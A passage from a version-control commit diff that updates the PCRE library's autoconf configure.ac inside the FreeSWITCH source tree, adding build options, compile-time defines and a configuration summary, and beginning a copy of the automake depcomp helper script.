+                             [use CR, LF, or CRLF as newline sequence]),
+              ac_pcre_newline=anycrlf)
+AC_ARG_ENABLE(newline-is-any,
+              AS_HELP_STRING([--enable-newline-is-any],
+                             [use any valid Unicode newline sequence]),
+              ac_pcre_newline=any)
+enable_newline="$ac_pcre_newline"
 
-AC_PROG_INSTALL
-AC_LIBTOOL_WIN32_DLL
-AC_PROG_LIBTOOL
+# Handle --enable-bsr-anycrlf
+AC_ARG_ENABLE(bsr-anycrlf,
+              AS_HELP_STRING([--enable-bsr-anycrlf],
+                             [\R matches only CR, LF, CRLF by default]),
+              , enable_bsr_anycrlf=no)
 
-dnl We need to find a compiler for compiling a program to run on the local host
-dnl while building. It needs to be different from CC when cross-compiling.
-dnl There is a macro called AC_PROG_CC_FOR_BUILD in the GNU archive for
-dnl figuring this out automatically. Unfortunately, it does not work with the
-dnl latest versions of autoconf. So for the moment, we just default to the
-dnl same values as the "main" compiler. People who are cross-compiling will
-dnl just have to adjust the Makefile by hand or set these values when they
-dnl run "configure".
+# Handle --enable-ebcdic
+AC_ARG_ENABLE(ebcdic,
+              AS_HELP_STRING([--enable-ebcdic],
+                             [assume EBCDIC coding rather than ASCII; incompatible with --enable-utf8; use only in (uncommon) EBCDIC environments; it implies --enable-rebuild-chartables]),
+              , enable_ebcdic=no)
 
-CC_FOR_BUILD=${CC_FOR_BUILD:-'$(CC)'}
-CXX_FOR_BUILD=${CXX_FOR_BUILD:-'$(CXX)'}
-CFLAGS_FOR_BUILD=${CFLAGS_FOR_BUILD:-'$(CFLAGS)'}
-CPPFLAGS_FOR_BUILD=${CFLAGS_FOR_BUILD:-'$(CPPFLAGS)'}
-CXXFLAGS_FOR_BUILD=${CXXFLAGS_FOR_BUILD:-'$(CXXFLAGS)'}
-BUILD_EXEEXT=${BUILD_EXEEXT:-'$(EXEEXT)'}
-BUILD_OBJEXT=${BUILD_OBJEXT:-'$(OBJEXT)'}
+# Handle --disable-stack-for-recursion
+AC_ARG_ENABLE(stack-for-recursion,
+              AS_HELP_STRING([--disable-stack-for-recursion],
+                             [don't use stack recursion when matching]),
+              , enable_stack_for_recursion=yes)
 
+# Handle --enable-pcregrep-libz
+AC_ARG_ENABLE(pcregrep-libz,
+              AS_HELP_STRING([--enable-pcregrep-libz],
+                             [link pcregrep with libz to handle .gz files]),
+              , enable_pcregrep_libz=no)
+
+# Handle --enable-pcregrep-libbz2
+AC_ARG_ENABLE(pcregrep-libbz2,
+              AS_HELP_STRING([--enable-pcregrep-libbz2],
+                             [link pcregrep with libbz2 to handle .bz2 files]),
+              , enable_pcregrep_libbz2=no)
+
+# Handle --enable-pcretest-libreadline
+AC_ARG_ENABLE(pcretest-libreadline,
+              AS_HELP_STRING([--enable-pcretest-libreadline],
+                             [link pcretest with libreadline]),
+              , enable_pcretest_libreadline=no)
+
+# Handle --with-posix-malloc-threshold=NBYTES
+AC_ARG_WITH(posix-malloc-threshold,
+            AS_HELP_STRING([--with-posix-malloc-threshold=NBYTES],
+                           [threshold for POSIX malloc usage (default=10)]),
+            , with_posix_malloc_threshold=10)
+
+# Handle --with-link-size=N
+AC_ARG_WITH(link-size,
+            AS_HELP_STRING([--with-link-size=N],
+                           [internal link size (2, 3, or 4 allowed; default=2)]),
+            , with_link_size=2)
+
+# Handle --with-match-limit=N
+AC_ARG_WITH(match-limit,
+            AS_HELP_STRING([--with-match-limit=N],
+                           [default limit on internal looping (default=10000000)]),
+            , with_match_limit=10000000)
+
+# Handle --with-match-limit_recursion=N
+#
+# Note: In config.h, the default is to define MATCH_LIMIT_RECURSION
+# symbolically as MATCH_LIMIT, which in turn is defined to be some numeric
+# value (e.g. 10000000). MATCH_LIMIT_RECURSION can otherwise be set to some
+# different numeric value (or even the same numeric value as MATCH_LIMIT,
+# though no longer defined in terms of the latter).
+#
+AC_ARG_WITH(match-limit-recursion,
+            AS_HELP_STRING([--with-match-limit-recursion=N],
+                           [default limit on internal recursion (default=MATCH_LIMIT)]),
+            , with_match_limit_recursion=MATCH_LIMIT)
+
+# Make sure that if enable_unicode_properties was set, that UTF-8 support
+# is enabled.
+#
+if test "x$enable_unicode_properties" = "xyes"
+then
+  if test "x$enable_utf8" = "xno"
+  then
+    AC_MSG_ERROR([support for Unicode properties requires UTF-8 support])
+  fi
+  enable_utf8=yes
+fi
+
+if test "x$enable_utf8" = "xunset"
+then
+  enable_utf8=no
+fi
+
+# Make sure that if enable_ebcdic is set, rebuild_chartables is also enabled.
+# Also check that UTF-8 support is not requested, because PCRE cannot handle
+# EBCDIC and UTF-8 in the same build. To do so it would need to use different
+# character constants depending on the mode.
+#
+if test "x$enable_ebcdic" = "xyes"
+then
+  enable_rebuild_chartables=yes
+  if test "x$enable_utf8" = "xyes"
+  then
+    AC_MSG_ERROR([support for EBCDIC and UTF-8 cannot be enabled at the same time])
+  fi
+fi
+
+# Convert the newline identifier into the appropriate integer value.
+case "$enable_newline" in
+  lf)      ac_pcre_newline_value=10   ;;
+  cr)      ac_pcre_newline_value=13   ;;
+  crlf)    ac_pcre_newline_value=3338 ;;
+  anycrlf) ac_pcre_newline_value=-2   ;;
+  any)     ac_pcre_newline_value=-1   ;;
+  *)
+  AC_MSG_ERROR([invalid argument \"$enable_newline\" to --enable-newline option])
+  ;;
+esac
+
+# Check argument to --with-link-size
+case "$with_link_size" in
+  2|3|4) ;;
+  *)
+  AC_MSG_ERROR([invalid argument \"$with_link_size\" to --with-link-size option])
+  ;;
+esac
+
+AH_TOP([
+/* On Unix-like systems config.h.in is converted by "configure" into config.h.
+Some other environments also support the use of "configure". PCRE is written in
+Standard C, but there are a few non-standard things it can cope with, allowing
+it to run on SunOS4 and other "close to standard" systems.
+
+If you are going to build PCRE "by hand" on a system without "configure" you
+should copy the distributed config.h.generic to config.h, and then set up the
+macro definitions the way you need them. You must then add -DHAVE_CONFIG_H to
+all of your compile commands, so that config.h is included at the start of
+every source.
+
+Alternatively, you can avoid editing by using -D on the compiler command line
+to set the macro values. In this case, you do not have to set -DHAVE_CONFIG_H.
+
+PCRE uses memmove() if HAVE_MEMMOVE is set to 1; otherwise it uses bcopy() if
+HAVE_BCOPY is set to 1. If your system has neither bcopy() nor memmove(), set
+them both to 0; an emulation function will be used. */])
+
 AC_DEFUN([AX_COMPILER_VENDOR],
 [
 AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
@@ -116,217 +307,381 @@
     fi
 fi
 
-dnl Checks for header files.
-
+# Checks for header files.
 AC_HEADER_STDC
-AC_CHECK_HEADERS(limits.h)
+AC_CHECK_HEADERS(limits.h sys/types.h sys/stat.h dirent.h windows.h)
 
-dnl The files below are C++ header files. One person told me (PH) that
-dnl AC_LANG_CPLUSPLUS unsets CXX if it was explicitly set to something which
-dnl doesn't work. However, this doesn't always seem to be the case.
-
-if test "x$want_cpp" = "xyes" -a -n "$CXX"
+# The files below are C++ header files.
+pcre_have_type_traits="0"
+pcre_have_bits_type_traits="0"
+if test "x$enable_cpp" = "xyes" -a -n "$CXX"
 then
-AC_LANG_SAVE
-AC_LANG_CPLUSPLUS
+AC_LANG_PUSH(C++)
 
-dnl We could be more clever here, given we're doing AC_SUBST with this
-dnl (eg set a var to be the name of the include file we want).  But we're not
-dnl so it's easy to change back to 'regular' autoconf vars if we needed to.
+# Older versions of pcre defined pcrecpp::no_arg, but in new versions
+# it's called pcrecpp::RE::no_arg.  For backwards ABI compatibility,
+# we want to make one an alias for the other.  Different systems do
+# this in different ways.  Some systems, for instance, can do it via
+# a linker flag: -alias (for os x 10.5) or -i (for os x <=10.4).
+OLD_LDFLAGS="$LDFLAGS"
+for flag in "-alias,__ZN7pcrecpp2RE6no_argE,__ZN7pcrecpp6no_argE" \
+            "-i__ZN7pcrecpp6no_argE:__ZN7pcrecpp2RE6no_argE"; do
+  AC_MSG_CHECKING([for alias support in the linker])
+  LDFLAGS="$OLD_LDFLAGS -Wl,$flag"
+  # We try to run the linker with this new ld flag.  If the link fails,
+  # we give up and remove the new flag from LDFLAGS.
+  AC_LINK_IFELSE(AC_LANG_PROGRAM([namespace pcrecpp {
+                                    class RE { static int no_arg; };
+                                    int RE::no_arg;
+                                  }],
+                                 []),
+                 [AC_MSG_RESULT([yes]);
+                  EXTRA_LIBPCRECPP_LDFLAGS="$EXTRA_LIBPCRECPP_LDFLAGS -Wl,$flag";
+                  break;],
+                 AC_MSG_RESULT([no]))
+done
+LDFLAGS="$OLD_LDFLAGS"
+
+# We could be more clever here, given we're doing AC_SUBST with this
+# (eg set a var to be the name of the include file we want). But we're not
+# so it's easy to change back to 'regular' autoconf vars if we needed to.
 AC_CHECK_HEADERS(string, [pcre_have_cpp_headers="1"],
                          [pcre_have_cpp_headers="0"])
 AC_CHECK_HEADERS(bits/type_traits.h, [pcre_have_bits_type_traits="1"],
                                      [pcre_have_bits_type_traits="0"])
 AC_CHECK_HEADERS(type_traits.h, [pcre_have_type_traits="1"],
                                 [pcre_have_type_traits="0"])
-dnl Using AC_SUBST eliminates the need to include config.h in a public .h file
-AC_SUBST(pcre_have_bits_type_traits)
-AC_SUBST(pcre_have_type_traits)
-AC_LANG_RESTORE
-fi
 
-dnl From the above, we now have enough info to know if C++ is fully installed
-if test "x$want_cpp" = "xyes" -a -n "$CXX" -a "$pcre_have_cpp_headers" = 1; then
-  MAYBE_CPP_TARGETS='$(CPP_TARGETS)'
-  HAVE_CPP=
-else
-  MAYBE_CPP_TARGETS=
-  HAVE_CPP="#"
+AC_LANG_POP
 fi
-AC_SUBST(MAYBE_CPP_TARGETS)
-AC_SUBST(HAVE_CPP)
+# Using AC_SUBST eliminates the need to include config.h in a public .h file
+AC_SUBST(pcre_have_type_traits)
+AC_SUBST(pcre_have_bits_type_traits)
 
-dnl Checks for typedefs, structures, and compiler characteristics.
+# Conditional compilation
+AM_CONDITIONAL(WITH_PCRE_CPP, test "x$enable_cpp" = "xyes")
+AM_CONDITIONAL(WITH_REBUILD_CHARTABLES, test "x$enable_rebuild_chartables" = "xyes")
 
+# Checks for typedefs, structures, and compiler characteristics.
+
 AC_C_CONST
 AC_TYPE_SIZE_T
 
-AC_CHECK_TYPES([long long], [pcre_have_long_long="1"], [pcre_have_long_long="0"])
-AC_CHECK_TYPES([unsigned long long], [pcre_have_ulong_long="1"], [pcre_have_ulong_long="0"])
+pcre_have_strotolonglong=0
+AC_CHECK_FUNCS(strtoq strtoll _strtoi64, [pcre_have_strotolonglong="1"; break])
+# If we can't convert a string to a long long, pretend we don't even
+# have a long long.
+if test $pcre_have_strotolonglong = "0"; then
+   pcre_have_long_long="0"
+   pcre_have_ulong_long="0"
+else
+  AC_CHECK_TYPES([long long],
+                 [pcre_have_long_long="1"],
+                 [pcre_have_long_long="0"])
+  AC_CHECK_TYPES([unsigned long long],
+                 [pcre_have_ulong_long="1"],
+                 [pcre_have_ulong_long="0"])
+fi
 AC_SUBST(pcre_have_long_long)
 AC_SUBST(pcre_have_ulong_long)
 
-dnl Checks for library functions.
+# Checks for library functions.
 
-AC_CHECK_FUNCS(bcopy memmove strerror strtoq strtoll)
+AC_CHECK_FUNCS(bcopy memmove strerror)
 
-dnl Handle --enable-utf8
+# Check for the availability of libz (aka zlib)
 
-AC_ARG_ENABLE(utf8,
-[  --enable-utf8           enable UTF8 support],
-if test "$enableval" = "yes"; then
-  UTF8=-DSUPPORT_UTF8
-fi
-)
+AC_CHECK_HEADERS([zlib.h], [HAVE_ZLIB_H=1])
+AC_CHECK_LIB([z], [gzopen], [HAVE_LIBZ=1])
 
-dnl Handle --enable-unicode-properties
+# Check for the availability of libbz2
 
-AC_ARG_ENABLE(unicode-properties,
-[  --enable-unicode-properties  enable Unicode properties support],
-if test "$enableval" = "yes"; then
-  UCP=-DSUPPORT_UCP
+AC_CHECK_HEADERS([bzlib.h], [HAVE_BZLIB_H=1])
+AC_CHECK_LIB([bz2], [BZ2_bzopen], [HAVE_LIBBZ2=1])
+
+# Check for the availabiity of libreadline
+
+AC_CHECK_HEADERS([readline/readline.h], [HAVE_READLINE_H=1])
+AC_CHECK_HEADERS([readline/history.h], [HAVE_HISTORY_H=1])
+AC_CHECK_LIB([readline], [readline], [HAVE_LIB_READLINE=1])
+
+# This facilitates -ansi builds under Linux
+dnl AC_DEFINE([_GNU_SOURCE], [], [Enable GNU extensions in glibc])
+
+if test "x$enable_shared" = "xno" ; then
+  AC_DEFINE([PCRE_STATIC], [1], [
+    Define if linking statically (TODO: make nice with Libtool)])
 fi
-)
 
-dnl Handle --enable-newline-is-cr
+# Here is where pcre specific defines are handled
 
-AC_ARG_ENABLE(newline-is-cr,
-[  --enable-newline-is-cr  use CR as the newline character],
-if test "$enableval" = "yes"; then
-  NEWLINE=-DNEWLINE=13
+if test "$enable_utf8" = "yes"; then
+  AC_DEFINE([SUPPORT_UTF8], [], [
+    Define to enable support for the UTF-8 Unicode encoding. This will
+    work even in an EBCDIC environment, but it is incompatible with
+    the EBCDIC macro. That is, PCRE can support *either* EBCDIC code
+    *or* ASCII/UTF-8, but not both at once.])
 fi
-)
 
-dnl Handle --enable-newline-is-lf
+if test "$enable_unicode_properties" = "yes"; then
+  AC_DEFINE([SUPPORT_UCP], [], [
+    Define to enable support for Unicode properties])
+fi
 
-AC_ARG_ENABLE(newline-is-lf,
-[  --enable-newline-is-lf  use LF as the newline character],
-if test "$enableval" = "yes"; then
-  NEWLINE=-DNEWLINE=10
+if test "$enable_stack_for_recursion" = "no"; then
+  AC_DEFINE([NO_RECURSE], [], [
+    PCRE uses recursive function calls to handle backtracking while
+    matching. This can sometimes be a problem on systems that have
+    stacks of limited size. Define NO_RECURSE to get a version that
+    doesn't use recursion in the match() function; instead it creates
+    its own stack by steam using pcre_recurse_malloc() to obtain memory
+    from the heap. For more detail, see the comments and other stuff
+    just above the match() function. On systems that support it,
+    "configure" can be used to set this in the Makefile
+    (use --disable-stack-for-recursion).])
 fi
-)
 
-dnl Handle --enable-newline-is-crlf
+if test "$enable_pcregrep_libz" = "yes"; then
+  AC_DEFINE([SUPPORT_LIBZ], [], [
+    Define to allow pcregrep to be linked with libz, so that it is
+    able to handle .gz files.])
+fi
 
-AC_ARG_ENABLE(newline-is-crlf,
-[  --enable-newline-is-crlf  use CRLF as the newline sequence],
-if test "$enableval" = "yes"; then
-  NEWLINE=-DNEWLINE=3338
+if test "$enable_pcregrep_libbz2" = "yes"; then
+  AC_DEFINE([SUPPORT_LIBBZ2], [], [
+    Define to allow pcregrep to be linked with libbz2, so that it is
+    able to handle .bz2 files.])
 fi
-)
 
-dnl Handle --enable-ebcdic
+if test "$enable_pcretest_libreadline" = "yes"; then
+  AC_DEFINE([SUPPORT_LIBREADLINE], [], [
+    Define to allow pcretest to be linked with libreadline.])
+fi
 
-AC_ARG_ENABLE(ebcdic,
-[  --enable-ebcdic         assume EBCDIC coding rather than ASCII],
-if test "$enableval" == "yes"; then
-  EBCDIC=-DEBCDIC=1
+AC_DEFINE_UNQUOTED([NEWLINE], [$ac_pcre_newline_value], [
+  The value of NEWLINE determines the newline character sequence. On
+  systems that support it, "configure" can be used to override the
+  default, which is 10. The possible values are 10 (LF), 13 (CR),
+  3338 (CRLF), -1 (ANY), or -2 (ANYCRLF).])
+
+if test "$enable_bsr_anycrlf" = "yes"; then
+  AC_DEFINE([BSR_ANYCRLF], [], [
+    By default, the \R escape sequence matches any Unicode line ending
+    character or sequence of characters. If BSR_ANYCRLF is defined, this is
+    changed so that backslash-R matches only CR, LF, or CRLF. The build-
+    time default can be overridden by the user of PCRE at runtime. On
+    systems that support it, "configure" can be used to override the
+    default.])
 fi
-)
 
-dnl Handle --disable-stack-for-recursion
+AC_DEFINE_UNQUOTED([LINK_SIZE], [$with_link_size], [
+  The value of LINK_SIZE determines the number of bytes used to store
+  links as offsets within the compiled regex. The default is 2, which
+  allows for compiled patterns up to 64K long. This covers the vast
+  majority of cases. However, PCRE can also be compiled to use 3 or 4
+  bytes instead. This allows for longer patterns in extreme cases. On
+  systems that support it, "configure" can be used to override this default.])
 
-AC_ARG_ENABLE(stack-for-recursion,
-[  --disable-stack-for-recursion  disable use of stack recursion when matching],
-if test "$enableval" = "no"; then
-  NO_RECURSE=-DNO_RECURSE
+AC_DEFINE_UNQUOTED([POSIX_MALLOC_THRESHOLD], [$with_posix_malloc_threshold], [
+  When calling PCRE via the POSIX interface, additional working storage
+  is required for holding the pointers to capturing substrings because
+  PCRE requires three integers per substring, whereas the POSIX
+  interface provides only two. If the number of expected substrings is
+  small, the wrapper function uses space on the stack, because this is
+  faster than using malloc() for each call. The threshold above which
+  the stack is no longer used is defined by POSIX_MALLOC_THRESHOLD. On
+  systems that support it, "configure" can be used to override this
+  default.])
+
+AC_DEFINE_UNQUOTED([MATCH_LIMIT], [$with_match_limit], [
+  The value of MATCH_LIMIT determines the default number of times the
+  internal match() function can be called during a single execution of
+  pcre_exec(). There is a runtime interface for setting a different
+  limit. The limit exists in order to catch runaway regular
+  expressions that take for ever to determine that they do not match.
+  The default is set very large so that it does not accidentally catch
+  legitimate cases. On systems that support it, "configure" can be
+  used to override this default default.])
+
+AC_DEFINE_UNQUOTED([MATCH_LIMIT_RECURSION], [$with_match_limit_recursion], [
+  The above limit applies to all calls of match(), whether or not they
+  increase the recursion depth. In some environments it is desirable
+  to limit the depth of recursive calls of match() more strictly, in
+  order to restrict the maximum amount of stack (or heap, if
+  NO_RECURSE is defined) that is used. The value of
+  MATCH_LIMIT_RECURSION applies only to recursive calls of match(). To
+  have any useful effect, it must be less than the value of
+  MATCH_LIMIT. The default is to use the same value as MATCH_LIMIT.
+  There is a runtime method for setting a different limit. On systems
+  that support it, "configure" can be used to override the default.])
+
+AC_DEFINE([MAX_NAME_SIZE], [32], [
+  This limit is parameterized just in case anybody ever wants to
+  change it. Care must be taken if it is increased, because it guards
+  against integer overflow caused by enormously large patterns.])
+
+AC_DEFINE([MAX_NAME_COUNT], [10000], [
+  This limit is parameterized just in case anybody ever wants to
+  change it. Care must be taken if it is increased, because it guards
+  against integer overflow caused by enormously large patterns.])
+
+AH_VERBATIM([PCRE_EXP_DEFN], [
+/* If you are compiling for a system other than a Unix-like system or
+   Win32, and it needs some magic to be inserted before the definition
+   of a function that is exported by the library, define this macro to
+   contain the relevant magic. If you do not define this macro, it
+   defaults to "extern" for a C compiler and "extern C" for a C++
+   compiler on non-Win32 systems. This macro apears at the start of
+   every exported function that is part of the external API. It does
+   not appear on functions that are "external" in the C sense, but
+   which are internal to the library. */
+#undef PCRE_EXP_DEFN])
+
+if test "$enable_ebcdic" = "yes"; then
+  AC_DEFINE_UNQUOTED([EBCDIC], [], [
+    If you are compiling for a system that uses EBCDIC instead of ASCII
+    character codes, define this macro as 1. On systems that can use
+    "configure", this can be done via --enable-ebcdic. PCRE will then
+    assume that all input strings are in EBCDIC. If you do not define
+    this macro, PCRE will assume input strings are ASCII or UTF-8 Unicode.
+    It is not possible to build a version of PCRE that supports both
+    EBCDIC and UTF-8.])
 fi
-)
 
-dnl There doesn't seem to be a straightforward way of having parameters
-dnl that set values, other than fudging the --with thing. So that's what
-dnl I've done.
+# Platform specific issues
+NO_UNDEFINED=
+EXPORT_ALL_SYMBOLS=
+case $host_os in
+  cygwin* | mingw* )
+    if test X"$enable_shared" = Xyes; then
+      NO_UNDEFINED="-no-undefined"
+      EXPORT_ALL_SYMBOLS="-Wl,--export-all-symbols"
+    fi
+    ;;
+esac
 
-dnl Handle --with-posix-malloc-threshold=n
+# The extra LDFLAGS for each particular library
+# (Note: The libpcre*_version bits are m4 variables, assigned above)
 
-AC_ARG_WITH(posix-malloc-threshold,
-[  --with-posix-malloc-threshold=10  threshold for POSIX malloc usage],
-  POSIX_MALLOC_THRESHOLD=-DPOSIX_MALLOC_THRESHOLD=$withval
-)
+EXTRA_LIBPCRE_LDFLAGS="$EXTRA_LIBPCRE_LDFLAGS \
+                       $NO_UNDEFINED -version-info libpcre_version"
 
-dnl Handle --with-link-size=n
+EXTRA_LIBPCREPOSIX_LDFLAGS="$EXTRA_LIBPCREPOSIX_LDFLAGS \
+                            $NO_UNDEFINED -version-info libpcreposix_version"
 
-AC_ARG_WITH(link-size,
-[  --with-link-size=2    internal link size (2, 3, or 4 allowed)],
-  LINK_SIZE=-DLINK_SIZE=$withval
-)
+EXTRA_LIBPCRECPP_LDFLAGS="$EXTRA_LIBPCRECPP_LDFLAGS \
+                          $NO_UNDEFINED -version-info libpcrecpp_version \
+                          $EXPORT_ALL_SYMBOLS"
 
-dnl Handle --with-match-limit=n
+AC_SUBST(EXTRA_LIBPCRE_LDFLAGS)
+AC_SUBST(EXTRA_LIBPCREPOSIX_LDFLAGS)
+AC_SUBST(EXTRA_LIBPCRECPP_LDFLAGS)
 
-AC_ARG_WITH(match-limit,
-[  --with-match-limit=10000000  default limit on internal looping],
-  MATCH_LIMIT=-DMATCH_LIMIT=$withval
-)
+# When we run 'make distcheck', use these arguments.
+DISTCHECK_CONFIGURE_FLAGS="--enable-cpp --enable-unicode-properties"
+AC_SUBST(DISTCHECK_CONFIGURE_FLAGS)
 
-dnl Handle --with-match-limit_recursion=n
+# Check that, if --enable-pcregrep-libz or --enable-pcregrep-libbz2 is
+# specified, the relevant library is available.
 
-AC_ARG_WITH(match-limit-recursion,
-[  --with-match-limit-recursion=10000000  default limit on internal recursion],
-  MATCH_LIMIT_RECURSION=-DMATCH_LIMIT_RECURSION=$withval
-)
+if test "$enable_pcregrep_libz" = "yes"; then
+  if test "$HAVE_ZLIB_H" != "1"; then
+    echo "** Cannot --enable-pcregrep-libz because zlib.h was not found"
+    exit 1
+  fi
+  if test "$HAVE_LIBZ" != "1"; then
+    echo "** Cannot --enable-pcregrep-libz because libz was not found"
+    exit 1
+  fi
+  LIBZ="-lz"
+fi
+AC_SUBST(LIBZ)
 
-dnl Unicode character property support implies UTF-8 support
+if test "$enable_pcregrep_libbz2" = "yes"; then
+  if test "$HAVE_BZLIB_H" != "1"; then
+    echo "** Cannot --enable-pcregrep-libbz2 because bzlib.h was not found"
+    exit 1
+  fi
+  if test "$HAVE_LIBBZ2" != "1"; then
+    echo "** Cannot --enable-pcregrep-libbz2 because libbz2 was not found"
+    exit 1
+  fi
+  LIBBZ2="-lbz2"
+fi
+AC_SUBST(LIBBZ2)
 
-if test "$UCP" != "" ; then
-  UTF8=-DSUPPORT_UTF8
+# Similarly for --enable-pcretest-readline
+
+if test "$enable_pcretest_libreadline" = "yes"; then
+  if test "$HAVE_READLINE_H" != "1"; then
+    echo "** Cannot --enable-pcretest-readline because readline/readline.h was not found."
+    exit 1
+  fi
+  if test "$HAVE_HISTORY_H" != "1"; then
+    echo "** Cannot --enable-pcretest-readline because readline/history.h was not found."
+    exit 1
+  fi
+  LIBREADLINE="-lreadline"
 fi
+AC_SUBST(LIBREADLINE)
 
-dnl "Export" these variables
+# Produce these files, in addition to config.h.
+AC_CONFIG_FILES(
+	Makefile
+	libpcre.pc
+	libpcrecpp.pc
+	pcre-config
+	pcre.h
+	pcre_stringpiece.h
+	pcrecpparg.h
+)
 
-AC_SUBST(BUILD_EXEEXT)
-AC_SUBST(BUILD_OBJEXT)
-AC_SUBST(CC_FOR_BUILD)
-AC_SUBST(CXX_FOR_BUILD)
-AC_SUBST(CFLAGS_FOR_BUILD)
-AC_SUBST(CXXFLAGS_FOR_BUILD)
-AC_SUBST(CXXLDFLAGS)
-AC_SUBST(EBCDIC)
-AC_SUBST(HAVE_MEMMOVE)
-AC_SUBST(HAVE_STRERROR)
-AC_SUBST(LINK_SIZE)
-AC_SUBST(MATCH_LIMIT)
-AC_SUBST(MATCH_LIMIT_RECURSION)
-AC_SUBST(NEWLINE)
-AC_SUBST(NO_RECURSE)
-AC_SUBST(PCRE_LIB_VERSION)
-AC_SUBST(PCRE_POSIXLIB_VERSION)
-AC_SUBST(PCRE_CPPLIB_VERSION)
-AC_SUBST(PCRE_VERSION)
-AC_SUBST(POSIX_MALLOC_THRESHOLD)
-AC_SUBST(UCP)
-AC_SUBST(UTF8)
+# Make the generated script files executable.
+AC_CONFIG_COMMANDS([script-chmod], [chmod a+x pcre-config])
 
-dnl Stuff to make MinGW work better. Special treatment is no longer
-dnl needed for Cygwin.
+# Make sure that pcre_chartables.c is removed in case the method for
+# creating it was changed by reconfiguration.
+AC_CONFIG_COMMANDS([delete-old-chartables], [rm -f pcre_chartables.c])
 
-case $host_os in
-mingw* )
-    POSIX_OBJ=pcreposix.o
-    POSIX_LOBJ=pcreposix.lo
-    POSIX_LIB=
-    ON_WINDOWS=
-    NOT_ON_WINDOWS="#"
-    WIN_PREFIX=
-    ;;
-* )
-    ON_WINDOWS="#"
-    NOT_ON_WINDOWS=
-    POSIX_OBJ=
-    POSIX_LOBJ=
-    POSIX_LIB=libpcreposix.la
-    WIN_PREFIX=
-    ;;
-esac
-AC_SUBST(WIN_PREFIX)
-AC_SUBST(ON_WINDOWS)
-AC_SUBST(NOT_ON_WINDOWS)
-AC_SUBST(POSIX_OBJ)
-AC_SUBST(POSIX_LOBJ)
-AC_SUBST(POSIX_LIB)
+AC_OUTPUT
 
-if test "x$enable_shared" = "xno" ; then
-    AC_DEFINE([PCRE_STATIC],[1],[to link statically])
-fi
+# Print out a nice little message after configure is run displaying your
+# chosen options.
 
-dnl This must be last; it determines what files are written as well as config.h
-AC_OUTPUT(Makefile pcre-config:pcre-config.in libpcre.pc:libpcre.pc.in pcrecpparg.h:pcrecpparg.h.in pcre_stringpiece.h:pcre_stringpiece.h.in RunGrepTest:RunGrepTest.in RunTest:RunTest.in,[chmod a+x RunTest RunGrepTest pcre-config])
+cat <<EOF
+
+$PACKAGE-$VERSION configuration summary:
+
+    Install prefix .................. : ${prefix}
+    C preprocessor .................. : ${CPP}
+    C compiler ...................... : ${CC}
+    C++ preprocessor ................ : ${CXXCPP}
+    C++ compiler .................... : ${CXX}
+    Linker .......................... : ${LD}
+    C preprocessor flags ............ : ${CPPFLAGS}
+    C compiler flags ................ : ${CFLAGS}
+    C++ compiler flags .............. : ${CXXFLAGS}
+    Linker flags .................... : ${LDFLAGS}
+    Extra libraries ................. : ${LIBS}
+
+    Build C++ library ............... : ${enable_cpp}
+    Enable UTF-8 support ............ : ${enable_utf8}
+    Unicode properties .............. : ${enable_unicode_properties}
+    Newline char/sequence ........... : ${enable_newline}
+    \R matches only ANYCRLF ......... : ${enable_bsr_anycrlf}
+    EBCDIC coding ................... : ${enable_ebcdic}
+    Rebuild char tables ............. : ${enable_rebuild_chartables}
+    Use stack recursion ............. : ${enable_stack_for_recursion}
+    POSIX mem threshold ............. : ${with_posix_malloc_threshold}
+    Internal link size .............. : ${with_link_size}
+    Match limit ..................... : ${with_match_limit}
+    Match limit recursion ........... : ${with_match_limit_recursion}
+    Build shared libs ............... : ${enable_shared}
+    Build static libs ............... : ${enable_static}
+    Link pcregrep with libz ......... : ${enable_pcregrep_libz}
+    Link pcregrep with libbz2 ....... : ${enable_pcregrep_libbz2}
+    Link pcretest with libreadline .. : ${enable_pcretest_libreadline}
+
+EOF
+
+dnl end configure.ac

Copied: freeswitch/branches/seven/libs/pcre/depcomp (from rev 14471, freeswitch/trunk/libs/pcre/depcomp) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/depcomp	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/depcomp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,589 @@
+#! /bin/sh
+# depcomp - compile a program generating dependencies as side-effects
+
+scriptversion=2007-03-29.01
+
+# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006, 2007 Free Software
+# Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+# 02110-1301, USA.
+
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# Originally written by Alexandre Oliva <oliva@dcc.unicamp.br>.
+
+case $1 in
+  '')
+     echo "$0: No command.  Try \`$0 --help' for more information." 1>&2
+     exit 1;
+     ;;
+  -h | --h*)
+    cat <<\EOF
+Usage: depcomp [--help] [--version] PROGRAM [ARGS]
+
+Run PROGRAMS ARGS to compile a file, generating dependencies
+as side-effects.
+
+Environment variables:
+  depmode     Dependency tracking mode.
+  source      Source file read by `PROGRAMS ARGS'.
+  object      Object file output by `PROGRAMS ARGS'.
+  DEPDIR      directory where to store dependencies.
+  depfile     Dependency file to output.
+  tmpdepfile  Temporary file to use when outputing dependencies.
+  libtool     Whether libtool is used (yes/no).
+
+Report bugs to <bug-automake@gnu.org>.
+EOF
+    exit $?
+    ;;
+  -v | --v*)
+    echo "depcomp $scriptversion"
+    exit $?
+    ;;
+esac
+
+if test -z "$depmode" || test -z "$source" || test -z "$object"; then
+  echo "depcomp: Variables source, object and depmode must be set" 1>&2
+  exit 1
+fi
+
+# Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po.
+depfile=${depfile-`echo "$object" |
+  sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`}
+tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`}
+
+rm -f "$tmpdepfile"
+
+# Some modes work just like other modes, but use different flags.  We
